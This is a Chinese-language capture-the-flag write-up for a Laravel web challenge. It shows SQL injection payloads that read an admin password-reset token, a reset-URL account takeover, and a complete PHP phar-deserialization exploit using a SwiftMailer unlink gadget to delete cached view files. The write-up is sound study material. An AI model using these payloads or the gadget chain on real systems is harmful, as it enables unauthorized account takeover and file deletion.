攻防世界 WEB easy_laravel

原创

显哥无敌 于 2022-02-06 10:45:10 发布

分类专栏： 攻防世界 文章标签： web安全

这题我一开始是在攻防世界做的，但是不知道今天靶场又抽什么风了。。。。反正两个靶场配置有点不一样，但是出入不是很大，BUUCTF需要提前手动利用管理员邮箱reset_password一下，攻防世界不需要

打开场景，审计页面源码，发现源码地址直接给出来了，非常的简单粗暴啊

https://github.com/qazxcv123/easy_laravel

建议把源码下下来，自己搭个环境慢慢看，不然不方便。那就看源码呗，先看路由，mvc的入口点

哦对了先说一下，larvel是一个PHP的web框架

在一个个尝试路由的时候发现自动跳转到了登录界面，自然而然的想到了sql注入？

找登录逻辑，在app文件夹里发现了不少东西，有普通用户和admin两套逻辑，细节后面再说。在全局查找DB关键字的时候在NoteController里发现了

```
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
```

很明显这是有回显的地方，同时还翻到了

```
reset_admin_password,
$this->query("UPDATE `users` SET password='$passwd'");
```

就差把越权两个字写在脸上了，登录注册倒是没找到什么可以利用的地方

下面就根据这个逻辑继续走，大致就是先注册一个用户，然后利用NoteController里的SQL注入进行越权，我们可以读到的是admin的note，其他的东西

可以在下载的源码里发到，在database文件夹下面的factories里

```
   'name' => '4uuu Nya',
        'email' => 'admin@qvq.im',
        'password' => bcrypt(str_random(40)),
        'remember_token' => str_random(10),
```

可以看到password加密了，还有一个token，那么就是需要一个reset_password和一个token读取，两个数据库功能都给到了，那么思路基本上就没什么问题了

本来我以为这就是一个简单的登录sql注入题，做到后面发现还是想简单了，毕竟也是个10分题对不对？

先把提权到admin的方式说一下

随机注册一个账号，其中用户名由于note存在sql注入，于是构造payload:

```
admin' union select 1,2,3,4,5--
```

登录，查看note，发现回显2

注入点找到，读取当前admin的token，方便后续的重置密码用

```
admin' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5--
```

读取到token值
75207d3840a95522a07c32677c11a05f8d015983a39808986e46645dbab286a0
接下来是跟laravel这个框架有关系的
构造url，当然你如果你本地拉环境看路由项也会发现
reset后面加具体的token值可以直接修改用户密码
于是：
http://111.200.241.244:59706/password/reset/75207d3840a95522a07c32677c11a05f8d015983a39808986e46645dbab286a0
修改密码，登录，发现已经是admin用户了，访问flag，发现啥也没有
我以为是靶场坏了，但看了wp发现这题到这才是走了一小步，这题主要考的是laravel框架的blade.php
简单概括一下，blade是视图文件，这东西和模板有点像
为什么flag不显示呢，是因为php调用的其实是laravel编译好的.blade.php文件缓存，并不是原生的php文件，缓存存在storage目录下，旧文件缓存没删除，当然不会显示flag
我们要找的东西就是手动清除生成好flag文件的blade.php文件缓存，让他再生成一次，那就要查找删除文件的功能，怎么删除呢
还有一个upload功能没用，关于缓存怎么清除的，可以看这篇文章，调用链讲的很清楚了
https://www.yuanshuli.com/post-49.html
攻防世界并没有配置nginx，就是原生的apache环境，那么他的path就是/var/www/html/resources/views/auth/flag.blade.php
对其进行sha1加密：73eb5933be1eb2293500f4a74b45284fd453f0bb
于是先放网上的exp：

```php
<?php
abstract class Swift_ByteStream_AbstractFilterableInputStream
{
    /**
     * Write sequence.
     */
    protected $_sequence = 0;

    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $_filters = array();

    /**
     * A buffer for writing.
     */
    private $_writeBuffer = '';

    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $_mirrors = array();

}

class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
{
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;
```

```
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    public function __construct($path, $writable = false) {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }

}

class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
    public function __construct()
    {
        $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";

        parent::__construct($filePath, true);
    }
    public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}



$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
```

```
$p->addFromString('1.txt','text');
$p->stopBuffering();
?>
```

先分析一下他的原理，在生成好的vendor里有一个TemporaryFileByteStream.php里有调用unlink函数
而且生成的文件目录和filename都是我们前端可控的，于是就构造phar的反序列化漏洞，构造一个phar对象，我是用wamp生成的，需要修改php.ini的配置项，然后上传
我们需要手动触发一下这个序列化对象，进去以后发现有个check选项，check一下，再访问flag，成功！
参考视频链接：https://www.bilibili.com/video/BV1D34y1y7wM/